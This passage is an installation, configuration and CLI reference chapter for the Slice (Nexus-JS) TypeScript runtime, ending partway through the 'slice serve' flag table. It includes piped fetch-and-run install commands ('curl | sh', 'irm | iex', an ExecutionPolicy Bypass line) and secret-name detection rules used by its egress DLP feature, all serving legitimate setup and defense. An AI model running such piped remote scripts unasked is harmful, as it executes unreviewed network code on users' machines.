Installation, Upgrading, Quickstart, slice.toml & Complete CLI Reference
This chapter is your complete day-one guide to installing, upgrading, configuring, and operating Slice (Nexus-JS) (v0.15.0). By the end of this chapter, you will know how to install and update Slice on any operating system, scaffold a new TypeScript or SvelteKit 3 + Svelte 5 project, configure your slice.toml manifest and .env vault, run live development with < 3 ms --watch reloads, syntax-check scripts with slice check, use the interactive slice repl shell, and master all 14 CLI commands.
1. Installing Slice (Windows, Linux, macOS, & Docker)
Section titled “1. Installing Slice (Windows, Linux, macOS, & Docker)”Slice is engineered in 100% pure Rust with zero external C/C++ compiler dependencies (no cmake, ninja, python, or multi-gigabyte V8 prebuilts required). It compiles into a single self-contained native binary (slice on Linux/macOS, slice.exe on Windows).
1.1 Prerequisites
Section titled “1.1 Prerequisites”- Rust Toolchain (
1.80+): Install via rustup.rs (curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | shon Linux/macOS, orrustup-init.exeon Windows). - Git: To clone and pull updates from the repository.
1.2 One-Step Prebuilt Installer Scripts (Recommended)
Section titled “1.2 One-Step Prebuilt Installer Scripts (Recommended)”Prebuilt release binaries with SHA-256 verification are published on GitHub Releases for Linux (x86_64), macOS (aarch64 Apple Silicon & x86_64 Intel), and Windows (x86_64). The installer scripts in scripts/install.sh and scripts/install.ps1 automatically download the matching archive, verify its .sha256 checksum, and install slice to ~/.slice/bin (pass --from-source / -FromSource to compile locally with Cargo):
Linux & macOS (Apple Silicon + Intel):
curl -fsSL https://raw.githubusercontent.com/slicevm/slice/main/scripts/install.sh | shexport PATH="$HOME/.slice/bin:$PATH"Windows (PowerShell):
irm https://raw.githubusercontent.com/slicevm/slice/main/scripts/install.ps1 | iexAdd $HOME\.slice\bin to your user PATH if it is not already present:
[Environment]::SetEnvironmentVariable("Path", $env:Path + ";$HOME\.slice\bin", "User")1.3 Manual Build with Cargo
Section titled “1.3 Manual Build with Cargo”If you prefer to build and place the binary yourself:
cargo build --releaseThe compiled binary is produced at:
- Linux / macOS:
./target/release/slice - Windows:
.\target\release\slice.exe
1.4 Running Slice in Docker
Section titled “1.4 Running Slice in Docker”Slice includes a multi-stage tests/Dockerfile for Linux x86_64 builds and reproducible verification:
docker build -f tests/Dockerfile -t slice-runtime .docker run --rm --entrypoint slice slice-runtime infodocker run --rm --entrypoint slice slice-runtime doctor2. Updating & Upgrading Slice
Section titled “2. Updating & Upgrading Slice”When a new release or commit is available, upgrading your local slice binary and re-packing your .cas bundles takes less than a minute:
2.1 Upgrading the slice CLI Binary
Section titled “2.1 Upgrading the slice CLI Binary”Linux / macOS:
cd /path/to/slicegit pull origin maincargo build --release./scripts/install.shslice infoWindows (PowerShell):
cd P:\opensource\slicegit pull origin maincargo build --releasepowershell -ExecutionPolicy Bypass -File .\scripts\install.ps1slice info2.2 Upgrading Pre-Packed .cas Archives and Standalone Binaries
Section titled “2.2 Upgrading Pre-Packed .cas Archives and Standalone Binaries”If you deploy pre-packed .cas archives (slice pack) or single-file executables (slice compile), re-run slice pack or slice compile after upgrading so your bundles include the latest Oxc compiler lowerings and embedded runtime binary:
slice pack ./my-app ./my-app.cas --static=./publicslice compile ./my-app -o ./my-app-bin --static=./publicIf you are running slice serve --tenant-dir=./tenants, overwriting ./tenants/<tenant>.cas in place triggers an automatic zero-downtime hot-swap on the very next HTTP request without restarting slice serve.
3. Verifying Your Host Environment (slice info & slice doctor)
Section titled “3. Verifying Your Host Environment (slice info & slice doctor)”After installing or upgrading, run slice info and slice doctor to inspect your OS completion rings (io_uring on Linux, IOCP on Windows), protection-key domain status (MPK/PKRU scaffolding on Linux x86_64), pre-warmed Boa ES2024 realm pool, and 5-vector security containment:
slice infoslice doctorExample slice doctor output:
========================================================================= SLICE (NEXUS-JS) PRODUCTION ENVIRONMENT & KERNEL DOCTOR========================================================================= [OK] Host OS / Architecture : windows / x86_64 [OK] Direct Completion Ring : Windows NT I/O Completion Port (IOCP Direct Kernel Ring) [OK] Kernel SQPOLL Ring Mode : Standard Completion Ring (IOCP / Direct Ring) [OK] Registered Fixed Slab Bufs : 128 x 64 KB (8 MB Pre-Registered) [OK] Memory Protection Domain : PKEY 0x2 (PKRU Mask 0xffffffcf, virtual slot tag; safe-Rust + OCap cages active) [OK] CAS Cache-Line Alignment : 64 bytes (Zero-Copy mmap ready) [OK] Pre-Warmed Boa ES2024 Pool : 2 Ready Realms (Zero-Init SLICEBOA Fast Path) [OK] Current Host Process RSS : 15812 KB (15.44 MB) [OK] OCap / SES Security Audit : 5/5 Attack Vectors Blocked=========================================================================4. 5-Minute Developer Quickstart: Your First Slice App
Section titled “4. 5-Minute Developer Quickstart: Your First Slice App”Let’s scaffold, run, watch, test, and serve a new TypeScript edge project in 5 steps.
Step 1: Scaffold the Project (slice init)
Section titled “Step 1: Scaffold the Project (slice init)”slice init ./hello-slicecd ./hello-sliceThis creates five files:
slice.toml: Your declarative security policy, resource limits, and entrypoint configuration.slice.d.ts: Complete ambient TypeScript type declarations forSlice.*(kv,evalSandbox,checkpoint,restore,connect,mockFetch,mockSocket,mockWebSocket),process,WinterTC.*,slice:test,slice:jsx, andcloudflare:sockets.tsconfig.json: Pre-configured"moduleResolution": "bundler","jsxImportSource": "slice:jsx", and"noEmit": truefor instant IDE IntelliSense andtsc --noEmit.src/index.ts: Your WinterTC (export default { fetch }) TypeScript entrypoint.tests/index.test.ts: A starterslice:testtest suite ready forslice test.
(To scaffold a full-stack SvelteKit 3 + Svelte 5 SSR project with @slicevm/adapter-sveltekit, pass --template=sveltekit: slice init ./my-app --template=sveltekit.)
Step 1b: Type-Checking (tsc --noEmit), Syntax Checking (slice check) & Linting (oxlint / Biome)
Section titled “Step 1b: Type-Checking (tsc --noEmit), Syntax Checking (slice check) & Linting (oxlint / Biome)”At runtime and during slice pack / slice compile, Slice uses the native Rust Oxc (v0.160.0) compiler to transpile .ts and .tsx in microseconds without waiting for the TypeScript type-checker. For fast syntax checks, static type validation, linting, and code formatting in your IDE or CI pipeline:
# Instant native Oxc syntax check without executing code:slice check ./src/index.ts
# Type-check against slice.d.ts and tsconfig.json:npx tsc --noEmit
# Ultra-fast Rust-based linting and formatting (Oxc / Biome):npx oxlint ./srcnpx @biomejs/biome check --write ./srcStep 2: Run Your TypeScript Code (slice run, -e / -p, & Stdin)
Section titled “Step 2: Run Your TypeScript Code (slice run, -e / -p, & Stdin)”You can run the project directory directly (Slice automatically reads slice.toml), pass a specific .ts file, evaluate inline TypeScript snippets, or pipe from stdin:
slice run# Or with microsecond execution telemetry and pre-warmed realm pool:slice run --warm --metrics
# Shorthand file execution & forwarding CLI arguments to process.argv via `--`:slice ./src/index.ts -- --region=us-east-1
# Inline evaluation (-e / --eval) and print expression result (-p / --print):slice -e 'const x: number = 21 * 2; console.log(x);'slice -p '({ runtime: "slice", version: process.version })'
# Execute TypeScript piped over stdin (`slice -` or `slice run -`):echo 'console.log(2 + 2)' | slice -
# Capture guest artifacts written to in-memory `/artifacts` into a host directory (with `--json` summary):slice run ./src/chart.ts --artifacts-dir=./out --json
# Mount a virtual-only in-memory scratch directory with zero host filesystem visibility:slice run ./src/agent.ts --virtual-mount=/scratchStep 3: Live Development with < 3 ms Reloads (slice run --watch)
Section titled “Step 3: Live Development with < 3 ms Reloads (slice run --watch)”Start the built-in watcher while editing files in src/, slice.toml, or .env:
slice run --watch --metricsWhenever you save a file, Slice’s Oxc compiler re-bundles your TypeScript dependency graph and re-executes in under 3 milliseconds.
Step 4: Turn It Into a Web API (slice serve)
Section titled “Step 4: Turn It Into a Web API (slice serve)”Replace src/index.ts with a standard WinterTC export default { fetch } server:
export default { fetch(req: Request): Response { const url = new URL(req.url); const visits = Slice.kv.incr("quickstart:visits", 1); return Response.json({ message: "Hello from Slice MicroVM!", path: url.pathname, visits, }); }};Test it immediately with --smoke-test (which sends 2 pipelined HTTP/1.1 Keep-Alive requests and exits) or run it live on port 3000:
slice serve --smoke-testslice serve --port=3000 --workers=4Step 5: Compile a Single-File Native Binary (slice compile)
Section titled “Step 5: Compile a Single-File Native Binary (slice compile)”Package your entire application into a standalone executable that runs on any machine without needing slice, node, or src/ installed:
slice compile . -o ./hello-slice-app./hello-slice-app --warm --metrics5. Unified Configuration Precedence (slice.toml, Inline Directives, SLICE_* Env Vars, & CLI Flags)
Section titled “5. Unified Configuration Precedence (slice.toml, Inline Directives, SLICE_* Env Vars, & CLI Flags)”By default, Slice runs on its optimal execution path (Tier 1, boacas = true SLICEBC\x01 Precompiled Boa CodeBlock CAS) with zero configuration required. When you customize engine behavior, resource limits, Object-Capability (OCap) permissions, or HTTP server settings, Slice resolves settings across five ordered precedence layers (Defaults < slice.toml < // @slice-* inline directives < SLICE_* env vars < CLI flags):
1. Built-In Optimal Defaults (`tier = "tier1"`, `boacas = true`, `fuel = 50_000_000`, `memory = 16 MB`, `trust_directives = false`, zero ambient OCap) | v2. Project Manifest (`--config=<path>`, `./slice.toml` / target folder `slice.toml` for source runs, or `.cas` / standalone `SLICEEXE` embedded `manifest:/slice.toml` without ambient CWD `slice.toml` inheritance; note: `SliceManifest` defaults `memory_kb` to `4096 KB` if `[limits] memory_kb` is omitted in `slice.toml`) | v3. Top-of-File Inline Source Directives (`// @slice-...` - monotonically attenuated by default; full additive authority only when `--trust-directives` / `SLICE_TRUST_DIRECTIVES=1` / `[capabilities] trust_directives = true` is set) | v4. Host Environment Variables (`SLICE_TIER`, `SLICE_BOACAS`, `SLICE_FUEL`, `SLICE_ALLOW_READ`, `SLICE_ALLOW_EXEC`, `SLICE_TRUST_DIRECTIVES`, `SLICE_PORT`, `SLICE_TRACE`, ...) | v5. Explicit CLI Flags (`--tier=`, `--boacas` / `--no-boacas`, `--fuel=`, `--memory=`, `--allow-read=`, `--allow-exec=`, `--trust-directives` / `--no-directives`, `--port=`, `--trace=`, ...)Capability Merging, Memory Defaults, & Untrusted Script Privilege-Escalation Guard:
- Scalar settings (
tier,boacas,warm,deterministic_seed,fuel,memory,port,workers,static_dir,tls_cert,tls_key) follow strict override precedence (Defaults < slice.toml < // @slice-* < SLICE_* env vars < CLI flags). When noslice.tomlis present, the CLI default memory ceiling is16 MB(16,384 KB); when aslice.tomlfile is loaded,SliceManifestdefaultsmemory_kbto4096 KB(4 MB) unless[limits] memory_kb(ormemory_mb/memory_bytes) is specified (slice initscaffoldsmemory_kb = 16384).- OCap permissions and DLP secrets (
allow_read,allow_write,allow_net,allow_exec,allow_env,env_file,audit_egress) are additive across trusted host layers (slice.toml,SLICE_*env vars, CLI flags).- Untrusted Entrypoint Lockdown (
trust_directives = falseby default): By default, top-of-file inline source directives (// @slice-...) inside a.ts/.jsscript can only monotonically attenuate (narrow) capabilities and resource limits already granted by the host (slice.toml,SLICE_*env vars, or CLI flags), and// @slice-audit-egressremains always-additive. An untrusted or AI-generated script can never self-grant new filesystem paths, network hosts, subprocess binaries,.envfiles, or higher fuel/memory ceilings unless the host explicitly opts in via--trust-directives,SLICE_TRUST_DIRECTIVES=1, or[capabilities] trust_directives = trueinslice.toml. Passing--no-directives(or--untrusted) ignores inline directives completely.
5.1 Layer 2: Complete slice.toml Manifest Reference
Section titled “5.1 Layer 2: Complete slice.toml Manifest Reference”When you run slice run, slice serve, slice test, slice pack, or slice compile inside a project directory, Slice automatically loads slice.toml (and embeds it inside .cas archives and compiled binaries!).
Here is a complete, annotated slice.toml showing every supported section and field:
[package]# Name of your service or applicationname = "billing-edge-service"# Semantic version of your packageversion = "1.2.0"# Default TypeScript or JavaScript entrypointentrypoint = "./src/index.ts"
[engine]# Default execution tier ("tier1" | "tier0" | "auto"). Defaults to "tier1".tier = "tier1"# Precompile JavaScript/TypeScript into SLICEBC\x01 Boa CodeBlock CAS containers (default: true).boacas = true# Pre-warm the thread-local Boa realm pool before execution (default: false for CLI run, true in serve).warm = true# Optional fixed seed for deterministic Math.random(), Date.now(), and performance.now().# deterministic_seed = 42
[limits]# Maximum deterministic CPU instruction fuel per execution or HTTP request.# Protects your server against accidental infinite loops or ReDoS attacks.fuel = 50_000_000
# Maximum per-tenant memory ceiling in kilobytes (16384 KB = 16 MB).# You can also specify `memory_mb = 16` or `memory_bytes = 16777216`.memory_kb = 16384
[capabilities]# Allowed filesystem read path prefixes (normalized; automatically blocks '..' traversal).# Omit or leave empty [] for pure-compute zero filesystem access.allow_read = ["/tmp", "./config", "./public"]
# Allowed filesystem write/append/mkdir/unlink path prefixes.allow_write = ["/tmp"]
# Allowed outbound network host:port endpoints for fetch() / Slice.fetchSync() / WebSockets / Sockets.# DNS hostnames resolving to loopback, RFC1918, CGNAT, ULA, or cloud metadata IPs are blocked by default.allow_net = ["api.stripe.com:443", "127.0.0.1:18095"]
# Optional opt-in for DNS hostnames resolving to private/loopback/CGNAT/ULA IPs (default: false).# Cloud metadata endpoints remain unconditionally blocked even when true.# allow_private_networks = false
# Allowed subprocess binaries for node:child_process (`ExecCap` - Deny-All by default).# Child processes receive ONLY tenant-attenuated environment variables and their stdout/stderr are scanned by Egress DLP.allow_exec = ["/usr/bin/git", "/bin/echo"]
# Optional guest checkpoint controls (default: allow_checkpoints = true, max_checkpoints = unlimited;# the per-thread checkpoint slab retains up to 64 snapshots via FIFO eviction).# allow_checkpoints = true# max_checkpoints = 16
# Optional .env file loaded automatically into process.env and env().# Any key matching *_SECRET*, *_TOKEN*, *_KEY*, *_PASSWORD*, or *_PRIVATE*# (except PUBLIC_KEY / PUBLISHABLE_KEY) is automatically registered into the Egress DLP guard!env_file = ".env"
# Explicit secrets to block in stdout, HTTP responses, SSE streams, and outbound fetch/sockets (raw + Base64 + Base64URL).audit_egress = ["sk_live_explicit_secret_token"]
# Optional: trust top-of-file inline source directives (`// @slice-...`) to grant additive capabilities (default: false).# When false (default), inline directives can only narrow/attenuate host-granted capabilities and fuel/memory limits.trust_directives = false
[capabilities.env]# Explicit environment variables injected into the isolate compartmentNODE_ENV = "production"SERVICE_REGION = "us-east-1"PUBLIC_KEY_ID = "pk_live_9001"
[server]# Default HTTP listening port for `slice serve` (default: 3000)port = 8080# Number of shared-nothing HTTP worker threads for `slice serve`workers = 4# Optional static frontend directory served out of memory with BLAKE3 ETag 304 supportstatic_dir = "./public"# Optional PEM certificate chain and private key for Native TLS 1.3 termination in `slice serve`# tls_cert = "./certs/fullchain.pem"# tls_key = "./certs/privkey.pem"5.2 Layer 3: Top-of-File Inline Source Directives (// @slice-...)
Section titled “5.2 Layer 3: Top-of-File Inline Source Directives (// @slice-...)”For single-file scripts, benchmarks, or self-contained tests where you do not want a separate slice.toml file, you can place // @slice-<key>: <value> (or // @slice-<key>=<value>) comments in the first 64 comment lines at the top of your .ts or .js entrypoint:
#!/usr/bin/env slice// @slice-tier: tier1// @slice-boacas: true// @slice-warm: true// @slice-deterministic: 42// @slice-fuel: 25_000_000// @slice-memory-kb: 8192// @slice-allow-read: ["/tmp", "./data"]// @slice-allow-write: ["/tmp"]// @slice-allow-net: ["api.example.com:443"]// @slice-allow-exec: ["/usr/bin/git"]// @slice-max-checkpoints: 8// @slice-allow-env: ["NODE_ENV=production"]// @slice-env-file: .env// @slice-audit-egress: ["sk_live_inline_secret"]// @slice-port: 8080// @slice-workers: 4
console.log("Running with self-contained inline directives!");5.3 Layer 4 & 5: Complete Settings Matrix (slice.toml vs Inline vs SLICE_* Env vs CLI Flags)
Section titled “5.3 Layer 4 & 5: Complete Settings Matrix (slice.toml vs Inline vs SLICE_* Env vs CLI Flags)”| Setting | Built-In Default | slice.toml Key |
Inline Directive (// @slice-...) |
Environment Variable | CLI Flag |
|---|---|---|---|---|---|
| Execution Tier | tier1 (Optimal) |
[engine] tier = "tier1" |
// @slice-tier: tier1 (tier0, auto) |
SLICE_TIER=tier1 |
--tier=tier1 (--tier=0, --tier=auto) |
| Precompiled Boa CAS | true (SLICEBC\x01) |
[engine] boacas = true |
// @slice-boacas: true (false) |
SLICE_BOACAS=1 (0) |
--boacas / --no-boacas |
| Warm Realm Pool | false (true in serve) |
[engine] warm = true |
// @slice-warm: true |
SLICE_WARM=1 |
--warm / --no-warm |
| Deterministic Seed | Disabled (None) |
[engine] deterministic_seed = 42 |
// @slice-deterministic: 42 |
SLICE_DETERMINISTIC_SEED=42 |
--deterministic[=42] / --no-deterministic |
| CPU Fuel Limit | 50_000_000 |
[limits] fuel = 50_000_000 |
// @slice-fuel: 50_000_000 |
SLICE_FUEL=50000000 |
--fuel=50000000 |
| Memory Cage | 16 MB CLI (4096 KB in bare SliceManifest) |
[limits] memory_kb = 16384 (memory_mb) |
// @slice-memory-kb: 16384 (memory-mb) |
SLICE_MEMORY=16MB (SLICE_MEMORY_KB=16384) |
--memory=16MB (KB/KiB/MB/MiB/GB/GiB or bytes) / --memory-kb=16384 |
| VFS Read Prefixes | [] (Zero access) |
[capabilities] allow_read = [...] |
// @slice-allow-read: ["/tmp"] |
SLICE_ALLOW_READ=/tmp,./data |
--allow-read=/tmp |
| VFS Write Prefixes | [] (Zero access) |
[capabilities] allow_write = [...] |
// @slice-allow-write: ["/tmp"] |
SLICE_ALLOW_WRITE=/tmp |
--allow-write=/tmp |
| Network Hosts | [] (Zero access) |
[capabilities] allow_net = [...] |
// @slice-allow-net: ["host:443"] |
SLICE_ALLOW_NET=host:443 |
--allow-net=host:443 |
| Private Network DNS | false (Blocked) |
[capabilities] allow_private_networks = true |
(Host-only setting) | SLICE_ALLOW_PRIVATE_NETWORKS=1 (0) |
--allow-private-networks / --no-allow-private-networks |
Exec Binaries (ExecCap) |
[] (Deny-All) |
[capabilities] allow_exec = [...] |
// @slice-allow-exec: ["/usr/bin/git"] |
SLICE_ALLOW_EXEC=/usr/bin/git |
--allow-exec=/usr/bin/git |
| Guest Checkpoints | true (max = unlimited; 64-slot FIFO slab) |
[capabilities] allow_checkpoints / max_checkpoints |
// @slice-checkpoints: false / // @slice-max-checkpoints: 8 |
SLICE_CHECKPOINTS=0 / SLICE_MAX_CHECKPOINTS=8 |
--no-checkpoints / --max-checkpoints=8 |
| Env Variables | {} (Zero access) |
[capabilities.env] KEY = "VAL" |
// @slice-allow-env: ["KEY=VAL"] |
SLICE_ALLOW_ENV=KEY=VAL |
--allow-env=KEY=VAL |
| Dotenv Vault File | None |
[capabilities] env_file = ".env" |
// @slice-env-file: .env |
SLICE_ENV_FILE=.env |
--env-file=.env / --env-file .env |
| Egress DLP Secrets | Auto from .env |
[capabilities] audit_egress = [...] |
// @slice-audit-egress: ["sec"] |
SLICE_AUDIT_EGRESS=sec1,sec2 / SLICE_AUDIT_EGRESS_FILE=path |
--audit-egress=sec1 / --audit-egress-file=path |
| Trust Inline Directives | false (Attenuate only) |
[capabilities] trust_directives = true |
(Host-only setting) | SLICE_TRUST_DIRECTIVES=1 (0) |
--trust-directives / --no-directives |
| HTTP Server Port | 3000 |
[server] port = 3000 |
// @slice-port: 3000 |
SLICE_PORT=3000 |
--port=3000 |
| HTTP Worker Threads | clamp(cpus, 1, 8) |
[server] workers = 4 |
// @slice-workers: 4 |
SLICE_WORKERS=4 |
--workers=4 |
| Static Asset Dir | None |
[server] static_dir = "./public" |
(Use slice.toml / CLI) |
SLICE_STATIC_DIR=./public |
--static=./public |
| TLS 1.3 Cert Chain | None |
[server] tls_cert = "./cert.pem" |
// @slice-tls-cert: ./cert.pem (when trust_directives = true) |
SLICE_TLS_CERT=./cert.pem |
--tls-cert=./cert.pem |
| TLS 1.3 Private Key | None |
[server] tls_key = "./key.pem" |
// @slice-tls-key: ./key.pem (when trust_directives = true) |
SLICE_TLS_KEY=./key.pem |
--tls-key=./key.pem |
| Outbound HTTP Proxy | None |
[capabilities.env] HTTP_PROXY = "..." |
// @slice-allow-env: ["HTTP_PROXY=..."] |
HTTP_PROXY / HTTPS_PROXY / NO_PROXY |
--allow-env=HTTP_PROXY=... |
| Execution Trace Export | None |
(CLI / Env diagnostic flag) | (Host-only setting) | SLICE_TRACE=trace.json |
--trace=trace.json |
6. .env Files & Automatic Secret DLP (--env-file)
Section titled “6. .env Files & Automatic Secret DLP (--env-file)”Most runtimes load .env files into global process.env with zero protection against accidental logging (console.log(process.env)) or prompt-injected outbound fetch() exfiltration.
In Slice, when you pass --env-file=.env (or set env_file = ".env" in slice.toml):
- Standard
.envSyntax Support: SupportsKEY=VALUE,export KEY="VALUE", single-quoted'VALUE', double-quoted"VALUE"(with\n,\r,\t,\"unescaping), and inline# comments. - Accessible via
process.envandenv(): All loaded variables are available inprocess.env.KEY(and injected as the second parameterfetch(req, env, ctx)inslice serve), as well as via the globalenv("KEY")function. - Automatic Egress DLP Registration: Any
.envkey whose name containsSECRET,TOKEN,KEY,PASSWORD, orPRIVATE(excludingPUBLIC_KEYandPUBLISHABLE_KEY) with a value at least 6 characters long is automatically registered into Slice’s Egress DLP firewall:- If your code (or a third-party dependency) tries to print that secret to
stdout, return it in an HTTP response, or send it in an outboundfetch()URL, header, or body - in plaintext, Base64, or Base64URL - Slice blocks the leak and traps withEGRESS_SECRET_LEAK_BLOCKED!
- If your code (or a third-party dependency) tries to print that secret to
7. Complete CLI Reference (All 14 Subcommands)
Section titled “7. Complete CLI Reference (All 14 Subcommands)”7.1 slice init [dir] [--template=sveltekit]
Section titled “7.1 slice init [dir] [--template=sveltekit]”Scaffolds a new TypeScript edge project (slice.toml, slice.d.ts, tsconfig.json, and src/index.ts) or a full-stack SvelteKit 3 + Svelte 5 SSR application (including adapter-slice.js, svelte.config.js, vite.config.js, +page.svelte, +page.server.js, and +server.js).
# Default TypeScript Edge project:slice init ./my-service
# Full-stack SvelteKit 3 + Svelte 5 SSR template:slice init ./my-sveltekit-app --template=sveltekit7.2 slice run [target | -] [flags] [-- <args...>]
Section titled “7.2 slice run [target | -] [flags] [-- <args...>]”Executes a .ts/.tsx/.js/.jsx file, a project folder (with package.json, slice.toml, or src/index.ts + node_modules/), a pre-packed .cas archive, piped stdin (slice - or slice run -), or an inline code snippet (-e / -p), propagating both process.exit(code) and graceful process.exitCode to the OS exit status. If [target] is omitted, executes entrypoint from ./slice.toml (or reads from stdin when stdin is piped). Top-level shorthands (slice <file.ts>, slice -e <code>, slice -p <code>, slice -) route directly to slice run.
| Flag | Description |
|---|---|
-e <code> / --eval=<code> |
Compile and evaluate an inline TypeScript/JavaScript snippet directly from the command line. |
-p <code> / --print=<code> |
Evaluate an inline TypeScript/JavaScript snippet and print the final expression value (or JSON object) to stdout. |
- |
Read TypeScript/JavaScript source from piped stdin (cat app.ts | slice - or slice run -). |
-- <args...> |
Forward all remaining arguments directly into process.argv inside the guest isolate without parsing them as Slice flags. |
--allow-read=<prefix> |
Grant read access to paths starting with <prefix> (comma-separated or repeatable). |
--allow-write=<prefix> |
Grant write/append/mkdir/unlink access to paths starting with <prefix>. |
--allow-net=<host:port> |
Grant outbound fetch() / socket access to <host:port> (or * for public internet). |
--allow-exec=<binary> |
Grant node:child_process execution authority (ExecCap) for <binary> (comma-separated or repeatable; Deny-All by default). |
--allow-env=<KEY=VAL> |
Inject KEY=VAL (or import KEY from host environment) into the isolate. |
--env-file=<path> |
Load .env file into process.env / env() with automatic Egress DLP secret protection. |
--audit-egress=<secret|auto> |
Register <secret> into the Egress DLP guard (blocks raw, Base64, and Base64URL leaks), or pass auto to auto-discover .env and sensitive environment secrets without treating "auto" as a literal secret. |
--audit-egress-file=<path> |
Register newline-delimited secrets from <path> into the Egress DLP guard. |
--no-checkpoints / --max-checkpoints=<N> |
Disable guest Slice.checkpoint() / Slice.restore() calls or cap the maximum number of guest checkpoints allowed per evaluation. |
--trust-directives / --no-trust-directives |
Allow (or forbid, default) top-of-file // @slice-... directives to grant additive OCap permissions and raise resource ceilings. |
--no-directives / --untrusted |
Completely ignore all top-of-file // @slice-... inline source directives in the entrypoint. |
--fuel=<u64> |
Set maximum CPU instruction fuel budget (default: 50,000,000; all value flags accept both --flag=<val> and --flag <val>). |
--memory=<size> / --memory-kb=<kb> / --memory-mb=<mb> |
Set maximum per-isolate memory ceiling in bytes or with KB/KiB/MB/MiB/GB/GiB suffixes (e.g. --memory=16MB; default: 16,777,216 bytes / 16,384 KB when no slice.toml is present). |
--tier=<tier1|tier0|auto> |
Override execution tier (tier1 default, tier0 for SLICESNP snapshot VM, or auto). |
--boacas / --no-boacas |
Enable (default) or disable Precompiled Boa CodeBlock (SLICEBC\x01) bytecode execution. |
--warm / --no-warm |
Pre-warm the thread-local BOA_CONTEXT_POOL and __slice_rc bundle closure before measurement. |
--trace=<out.json> |
Export a Chrome DevTools / Perfetto (ui.perfetto.dev) execution timeline (traceEvents) (SLICE_TRACE). |
--watch |
Watch source files (src/, slice.toml, .env) and live-reload in < 3 ms on save. |
--watch-once |
Run once, wait for a single file modification, re-execute in < 3 ms, and exit (ideal for CI/scripts). |
--deterministic[=<seed>] / --no-deterministic |
Enable or disable deterministic Math.random(), Date.now(), performance.now(), and fetch() cassette replay (default seed: 42). |
--metrics |
Print microsecond instantiation, execution, total time, tier, memory bytes, and stat syscall count. |
--quiet / -q |
Suppress script stdout output (useful when benchmarking with --metrics). |
Examples:
# Run a TypeScript file with explicit read/net permissions and .env fileslice run ./src/worker.ts --env-file=.env --allow-read=./data --allow-net=api.github.com:443
# Evaluate an inline TypeScript expression and print its resultslice -p 'const nums: number[] = [10, 20, 30]; nums.reduce((a, b) => a + b, 0)'
# Forward custom flags to process.argv after `--`slice run ./src/cli.ts -- --input=report.csv --dry-run
# Live development mode with automatic < 3 ms rebuilds on saveslice run ./src/index.ts --watch --metrics7.3 slice check <target | -> (or slice --check / slice -c)
Section titled “7.3 slice check <target | -> (or slice --check / slice -c)”Parses and syntax-checks TypeScript, TSX, JavaScript, JSX, .cas archives, inline -e/-p snippets, or piped stdin (-) using Oxc without executing any guest code. Exits with code 0 if valid or 1 with source-mapped syntax diagnostics if invalid.
slice check ./src/index.tsslice -c -e 'const broken: number = ;'cat ./src/worker.ts | slice check -7.4 slice test [target] [flags]
Section titled “7.4 slice test [target] [flags]”Runs Slice’s built-in Time-Travel Test Runner ("slice:test" / "node:test" / "bun:test"). Automatically discovers all *.test.ts, *.spec.ts, *_test.ts, *.test.tsx, *.spec.tsx, *.test.js, and *.spec.js files in [target] (defaulting to .) or runs a single test file.
Before every test(...) / it(...) block, Slice takes a < 5 us VFS (node:fs) + Slice.kv snapshot and restores it in finally, guaranteeing zero state leakage between tests.
| Flag | Description |
|---|---|
--filter=<substring> |
Only run tests whose "Suite > Test Name" contains <substring>. |
--deterministic[=<seed>] |
Run all tests with a deterministic PRNG and virtual clock (enabled by default with seed 20261024). |
--no-deterministic |
Disable the default deterministic PRNG and virtual clock during test runs. |
--watch |
Watch project files and re-run the test suite automatically in milliseconds on save. |
--watch-once |
Run the test suite once, wait for a single file change, re-run, and exit. |
--env-file=<path> |
Load .env variables and auto-register secrets into the Egress DLP guard. |
--allow-read=<prefix> / --allow-write=<prefix> |
Grant additional VFS read/write prefixes. |
--allow-net=<host:port> / --allow-exec=<bin> |
Grant outbound network hosts or ExecCap subprocess binaries during tests. |
--audit-egress=<secret|auto> / --audit-egress-file=<path> |
Register secrets into the Egress DLP guard during tests. |
--no-checkpoints / --max-checkpoints=<N> |
Configure guest checkpoint limits for nested sandboxes under test. |
--trust-directives / --no-directives |
Control how top-of-file // @slice-* directives in test files are applied. |
--fuel=<u64> / --memory=<bytes> |
Override fuel or memory ceiling per test file. |
--trace=<out.json> |
Export Chrome DevTools / Perfetto trace spans for the test run. |
--json |
Output a machine-readable JSON test report (files, total, passed, failed, skipped, checkpointsRestored). |
Examples:
# Run all discovered *.test.ts and *.spec.ts files in the projectslice test
# Live test watcher or real wall-clock modeslice test --watchslice test --no-deterministic
# Filter tests by name and emit JSON report for CI pipelinesslice test ./tests/state_machine.test.ts --filter="rollback" --json7.5 slice serve [target] [flags]
Section titled “7.5 slice serve [target] [flags]”Launches the multi-tenant WinterTC HTTP/1.1 Keep-Alive, TLS 1.3, SSE, and WebSocket MicroVM server. See tests/reports/latest.md for live multi-worker HTTP/1.1 Keep-Alive throughput benchmarks against Bun.serve, Deno.serve, and Node.js.
| Flag | Description |
|---|---|
--host=<addr> |
TCP bind address (default: 0.0.0.0, e.g. --host=127.0.0.1 for loopback-only binding). |
--port=<u16> |
TCP listening port (default: 3000, or [server] port in slice.toml / SLICE_PORT). |
--workers=<usize> |
Number of shared-nothing worker threads (default: clamp(num_cpus, 1, 8), or [server] workers). |
--static=<dir> |
Ingest and serve static web assets from <dir> out of memory with BLAKE3 ETag 304 support (< 2 us). |
--tls-cert=<path> |
PEM certificate chain path for native rustls TLS 1.3 termination ([server] tls_cert / SLICE_TLS_CERT). |
--tls-key=<path> |
PEM private key path for native rustls TLS 1.3 termination ([server] tls_key / SLICE_TLS_KEY). |
--tenant-dir=<dir> |
Dynamically route X-Slice-Tenant: <id> or /t/<id>/... to <dir>/<id>.cas with zero-downtime live hot-swapping. |
--allow-read / --allow-write / --allow-net / --allow-exec / --allow-env |
Grant OCap permissions to served request isolates. |
--env-file=<path> |
Load .env variables and register sensitive keys into the Egress DLP guard. |
--audit-egress=<secret|auto> / --audit-egress-file=<path> |
Scan all HTTP responses, SSE streams, WebSocket frames, and outbound fetch() calls for raw/Base64/Base64URL secret leaks. |
--no-checkpoints / --max-checkpoints=<N> |
Disable or bound guest Slice.checkpoint() calls per HTTP request. |
--trust-directives / --no-directives |
Control top-of-file // @slice-* directive handling for the served entrypoint. |
--deterministic[=<seed>] / --no-deterministic |
Enable or disable deterministic PRNG, virtual clock, and fetch() cassette replay across served requests. |
--tier=<tier1|tier0|auto> |
Override execution tier across HTTP worker threads. |
--boacas / --no-boacas |
Enable (default) or disable Precompiled Boa CodeBlock (SLICEBC\x01) bytecode execution. |
--max-requests=<usize> |
Exit cleanly after serving <usize> requests (ideal for automated load tests). |
--smoke-test / --once |
